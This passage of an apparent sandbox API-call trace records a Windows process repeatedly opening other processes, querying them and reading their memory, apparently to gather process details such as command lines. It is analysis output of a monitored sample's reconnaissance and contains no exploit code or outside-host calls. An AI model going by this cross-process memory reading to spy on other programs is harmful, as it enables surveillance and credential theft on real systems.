lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.265] malloc (_Size=0x4a) returned 0x196ef0d7c50 [0259.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x48193a, lpBuffer=0x196ef0d7c50, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7c50*, lpNumberOfBytesRead=0x0) returned 1 [0259.265] free (_Block=0x196ef0d7c50) [0259.266] CloseHandle (hObject=0x464) returned 1 [0259.267] _ui64tow_s (in: _Value=0xee4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0259.271] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3812") returned 4 [0259.272] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.272] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.287] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x464 [0259.288] GetLastError () returned 0x0 [0259.288] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.289] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.289] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.290] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.291] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.291] malloc (_Size=0x64) returned 0x196ef0d0450 [0259.291] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491954, lpBuffer=0x196ef0d0450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0259.292] free (_Block=0x196ef0d0450) [0259.292] CloseHandle (hObject=0x464) returned 1 [0259.293] _ui64tow_s (in: _Value=0xef4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0259.297] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3828") returned 4 [0259.298] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.298] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.336] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x464 [0259.336] GetLastError () returned 0x0 [0259.337] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.339] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.340] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.341] malloc (_Size=0x68) returned 0x196ef0d03e0 [0259.341] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511958, lpBuffer=0x196ef0d03e0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0259.342] free (_Block=0x196ef0d03e0) [0259.343] CloseHandle (hObject=0x464) returned 1 [0259.343] _ui64tow_s (in: _Value=0xefc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0259.357] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3836") returned 4 [0259.363] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.363] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x464 [0259.440] GetLastError () returned 0x0 [0259.442] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.442] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.442] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.442] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.443] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.444] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.447] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.447] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.447] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.447] malloc (_Size=0x86) returned 0x196ef100f50 [0259.448] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1976, lpBuffer=0x196ef100f50, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100f50*, lpNumberOfBytesRead=0x0) returned 1 [0259.448] free (_Block=0x196ef100f50) [0259.450] CloseHandle (hObject=0x464) returned 1 [0259.452] _ui64tow_s (in: _Value=0xf0c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0259.457] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3852") returned 4 [0259.459] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.459] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.517] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x464 [0259.517] GetLastError () returned 0x0 [0259.518] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.518] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.518] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.519] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.519] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.520] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.522] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.522] malloc (_Size=0x60) returned 0x196ef0d0530 [0259.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d0530, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0259.523] free (_Block=0x196ef0d0530) [0259.524] CloseHandle (hObject=0x464) returned 1 [0259.524] _ui64tow_s (in: _Value=0xf18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0259.529] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3864") returned 4 [0259.531] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.531] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.564] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x464 [0259.564] GetLastError () returned 0x0 [0259.564] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.564] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.565] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.565] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.565] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1958, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.566] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.568] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.568] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.569] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1340, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.569] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0259.569] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.570] free (_Block=0x196ef0d31b0) [0259.571] CloseHandle (hObject=0x464) returned 1 [0259.572] _ui64tow_s (in: _Value=0xf20, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0259.581] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3872") returned 4 [0259.583] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.583] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.616] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x464 [0259.616] GetLastError () returned 0x0 [0259.617] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.617] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.618] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.619] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.620] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.621] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.621] malloc (_Size=0x62) returned 0x196ef0d0680 [0259.621] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0680, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0259.622] free (_Block=0x196ef0d0680) [0259.623] CloseHandle (hObject=0x464) returned 1 [0259.624] _ui64tow_s (in: _Value=0xf30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0259.630] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3888") returned 4 [0259.632] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.632] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.667] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x464 [0259.667] GetLastError () returned 0x0 [0259.668] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.668] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.668] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.671] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.673] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.673] malloc (_Size=0x60) returned 0x196ef0d0450 [0259.673] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0259.674] free (_Block=0x196ef0d0450) [0259.676] CloseHandle (hObject=0x464) returned 1 [0259.677] _ui64tow_s (in: _Value=0xf38, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0259.690] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3896") returned 4 [0259.692] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.692] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x464 [0259.723] GetLastError () returned 0x0 [0259.724] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.726] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.728] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, 